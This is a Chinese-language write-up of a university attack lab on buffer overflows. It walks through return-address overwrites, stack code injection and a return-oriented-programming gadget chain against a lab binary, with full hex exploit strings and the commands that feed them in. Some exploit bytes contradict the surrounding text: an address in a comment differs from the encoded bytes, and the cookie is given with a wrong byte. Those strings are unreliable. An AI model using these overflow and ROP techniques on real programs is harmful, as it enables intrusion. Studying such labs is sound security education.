实验主页
这是一个关于程序缓冲区溢出攻击的实验。在进行这个实验之前,请先阅读Writeup
这两个程序都是用 getbuf
函数来获取输入:
unsigned getbuf() {char buf[BUFFER_SIZE];Gets(buf);return 1;
}
在第一阶段,我们不需要注入任何代码,只需要将程序redirect到一个已经存在的函数即可
getbuf()
函数由 test()
函数调用:
void test() {int val;val = getbuf();printf("No exploit. Getbuf returned 0x%x\n", val);
}
我们要做的是:通过buffer overflow攻击,使得当程序从 getbuf()
中返回时,令其跳转到 touch1
函数,而非原来的 printf
语句:
void touch1() {vlevel = 1;printf("Touch1!: You called touch1()\n");validate(1);exit(0);
}
看一下test函数:
0000000000401968 :401968: 48 83 ec 08 sub $0x8,%rsp40196c: b8 00 00 00 00 mov $0x0,%eax401971: e8 32 fe ff ff call 4017a8 401976: 89 c2 mov %eax,%edx401978: be 88 31 40 00 mov $0x403188,%esi40197d: bf 01 00 00 00 mov $0x1,%edi401982: b8 00 00 00 00 mov $0x0,%eax401987: e8 64 f4 ff ff call 400df0 <__printf_chk@plt>40198c: 48 83 c4 08 add $0x8,%rsp401990: c3 ret
程序先将rsp减8后,调用了 getbuf
函数。看一下 getbuf
函数:
00000000004017a8 :4017a8: 48 83 ec 28 sub $0x28,%rsp4017ac: 48 89 e7 mov %rsp,%rdi4017af: e8 8c 02 00 00 call 401a40 4017b4: b8 01 00 00 00 mov $0x1,%eax4017b9: 48 83 c4 28 add $0x28,%rsp4017bd: c3 ret 4017be: 90 nop4017bf: 90 nop
我们画出执行 call 401a40
之前的栈状态:
RA1表示 test
的调用者的返回地址,我们并不关心
进入 getbuf
后,程序首先通过 sub $0x28,%rsp
在栈上开辟了40字节的空间,然后将这块空间的首地址作为参数传递给 Gets
函数:将读入的数据保存在这40个字节里
为了让 getbuf
返回到 touch1
中,我们只需修改test
栈帧上的返回地址,将其原本的 0x401976
修改为 0x4017c0
,也就是 touch1
函数的地址。
修改方式很简单,通过buffer overflow攻击即可:写入一段48字节的数据,其最后8个字节会“污染” test 栈帧上的返回地址,所以我们只需让最后8个字节的内容是 0x0000_0000_0040_17c0
即可:
于是我们创建一个文本文件 hex.in
,写入如下内容:
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
c0 17 40 00 00 00 00 00 /* touch1's address */
前40个字节无所谓,其作用就是填满buf。最后8个字节注意字节序,x86是小端,所以低位字节在前面
然后交给 hex2raw
工具将其转为二进制:
$ cat hex.in | ./hex2raw > hex.out
最后,将得到的二进制文件feed给目标程序即可:
$ ./ctarget -i hex.out -q
至此,我们就完成了phase1
这个阶段需要我们通过输入字符串注入一小段代码
阅读实验要求,我们需要跳转到 touch2
函数:
void touch2(unsigned val) {vlevel = 2;if(val == cookie) {printf("Touch2!: You called touch2(0x%.8x)\n", val);validate(2);} else {printf(""Misfire: You called touch2(0x%.8x)\n", val);fail(2);}exit(0);
}
跟上一个一样,我们需要修改返回地址让程序跳转到 touch2
函数。但是这里多了一个要求:我们必须传入一个参数val,使得程序执行if分支,所以我们需要在进入 touch2
之前插入这样一条指令 movq $0x59b997fa, %rdi
注意,实验要求中做了如下限制:
不允许我们使用 jmp
指令和 call
指令进行跳转,只能用 ret
指令进行跳转(理由是这些指令的编码很复杂)
为了进行代码注入,我们可以采用如下方法:
0x5561dca0
处的返回地址修改为栈上的某一地址(buf),其中存放了我们需要注入的代码,关键是 movq $0x59b997fa, %rdi
指令touch2
函数,我们可以将其地址压栈,然后执行 ret
指令根据上述分析,我们需要注入的代码如下:
movq $0x59b997fa, %rdi
pushq $0x4017ec #touch2的地址
ret
将其编译为机器码,再反汇编到文件:
$ gcc -c injection.s
$ objdump -d injection.o > injection.d
现在我们得到了需要注入的机器代码:
injection.o: file format elf64-x86-64Disassembly of section .text:0000000000000000 <.text>:0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi7: 68 ec 17 40 00 push $0x4017ecc: c3 ret
我们要注入的内容是:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
48 c7 c7 fa 97 b9 59 /* mov $0x59b997fa,%rdi */
68 ec 17 40 00 /* push $0x4017ec */
c3 /* ret */
00 00 00
90 dc 61 55 00 00 00 00
然后交给 hex2raw
工具将其转为二进制:
$ cat hex.in | ./hex2raw > hex.out
最后,将得到的二进制文件feed给目标程序即可:
$ ./ctarget -i hex.out -q
至此,我们完成了phase2
BUT,我刚开始做这个phase的时候,我打算注入的代码是:
movq $0x59b997fa, %rdi
movq $0x4017ec, (%rsp)
ret
因为我的想法是把参数传到 %rdi
后,修改此时栈顶的值为要跳转的地址,然后ret即可。但是这个方案行不通,程序会在 printf()
中抛出段错误,具体原因我也不太清楚
这个实验与上一个类似,只是这时要传入的参数变成了一个字符串指针。程序中存在这两个函数:
int hexmatch(unsigned val, char* sval) {char cbuf[110];char* s = cbuf + random() % 100;sprintf(s, "%.8x", val);return strncmp(sval, s, 9) == 0;
}void touch3(char* sval){vlevel = 3;if(hexmatch(cookie, sval)) {printf("Touch3!: You called touch3(\"%s\")\n", sval);validate(3);} else {printf("Misfire: You called touch3(\"%s\")\n", sval);fail(3);}exit(0);
}
跟上一个一样,我们需要修改返回地址让程序跳转到 touch3
函数。但是这里我们需要传入的参数发生了变化:需要传入一个字符串指针,它的内容是:
"59b997fa"
所以我们需要将这个字符串注入栈空间中,然后让 %rdi
指向它,最后跳转到 touch3()
但是实验要求提醒我们注意:
有些函数调用会向栈中压入数据,所以我们注入的字符串可能被覆盖掉。我们需要小心地选择字符串的存储位置
我刚开始想把这个字符串尽可能向内存的低地址处存,因为栈指针在上面,所以离它越远,被覆盖的风险越小。但是最终结果证明这样做也不能保证字符串不被覆盖
那么就反过来,将字符串存入高地址,有多高呢?比栈指针还高。回想我们上面的栈状态:
存放返回地址的上一个4字空间,似乎没怎么用,而且这个地方是绝对安全的,不会被覆盖,所以我们选择将字符串存在这里。这时栈的状态应该是下面这样:
根据上述分析,我们需要注入的代码如下:
movq $0x5561dc78, %rdi
pushq $0x4018fa
ret
编译后,再反汇编:
0000000000000000 <.text>:0: 48 c7 c7 78 dc 61 55 mov $0x5561dc78,%rdi7: 68 fa 18 40 00 push $0x4018fac: c3 ret
我们需要注入的内容是:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
48 c7 c7 a8 dc 61 55 /* mov $0x5561dc78,%rdi */
68 fa 18 40 00 /* push $0x4018fa */
c3 /* ret */
00 00 00
00 00 00 00 00 00 00 00
88 dc 61 55 00 00 00 00 /* return address */
35 39 62 39 39 37 66 61 /* "59b997fa" */
注意到内容变多了,这是因为我们需要“污染”更多的内容:不仅要把返回地址“污染”进去,也要把字符串“污染”进去(虽然我们没有考虑结束的\0)
至此,我们完成了phase3
这一部分比上一部分更难:
这里引入了一种新的攻击方法:通过执行现有代码,而不用注入代码
最具代表性的是 return-oriented-programming(ROP)
这种方法的策略是识别出现有程序的一些特定字节序列,这些字节序列构成了一条或多条指令(后面跟着ret指令)
这样的一段字节被称作gadget
如上图所示,栈空间上存储了一系列 gadget 的指针。每个 gadget 都是由一系列指令序列组成,最后跟着 ret
指令
一旦程序进入第一个 gadget,就会触发一系列连锁反应,使得每个 gadget 的内容都得到了执行
例如下面这段C程序:
void setval_210(unsigned *p) {*p = 3347663060U;
}
它只对应两条汇编指令:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4, (%rdi)
400f1b: c3 retq
查阅指令手册可知,这里面的字节序列 48 89 c7
正好是 movq %rax, %rdi
的指令编码
所以,如果我们让程序跳转到 400f18
,就能够执行 movq %rax, %rdi
这条指令,这虽然看起来微不足道,但是使用一系列的 gadget,我们就能达到特定的目的
这部分重复了Phase2的内容,但是有如下要求:
分析一下这个问题:
%rdi
这些都需要我们编码进exploit string当中
一种思路是将cookie的值放在栈里,然后执行 popq %rdi
。但是经过搜索,代码中并没有包含 popq %rdi
的 gadget 可供使用,我们需要中转一下:
popq %rax # 58
movq %rax, %rdi # 48 89 c7
这些二进制代码在程序中都有,而且很幸运的是他们的后面都跟着nop
指令,然后是 ret
,这非常满足我们的需要:
00000000004019a7 :4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax4019ad: c3 ret
...
00000000004019c3 :4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)4019c9: c3 ret
所以我们让栈呈现如下状态:
popq %rax
的地址,查阅反汇编结果可知,为 0x4019ab
%rsp
就指向了cookie,所以此时执行pop就能将cookie值保存到 %rax
movq %rax, %rdi
的地址,当程序执行完 popq %rax; nop; ret
指令后,就会跳转到这条指令,于是我们就能将cookie值保存进 %rdi
movq %rax, %rdi; nop; ret
指令后,就会跳转到touch2执行,达到了我们的目的所以我们需要注入的内容为:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00ab 19 40 00 00 00 00 00
fa 97 b9 5a 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
执行完getbuf后,函数栈帧如下所示,符合我们的设计:
至此,我们完成了phase4:
Phase5是重复Phase3的内容:输入参数是一个字符串。但是使用的是ROP方法
听从实验指导,不做了哈哈哈哈哈(尝试了一下,难度很大,比较花时间)
原理和上一个是一样的,但是需要凑的指令更多,更复杂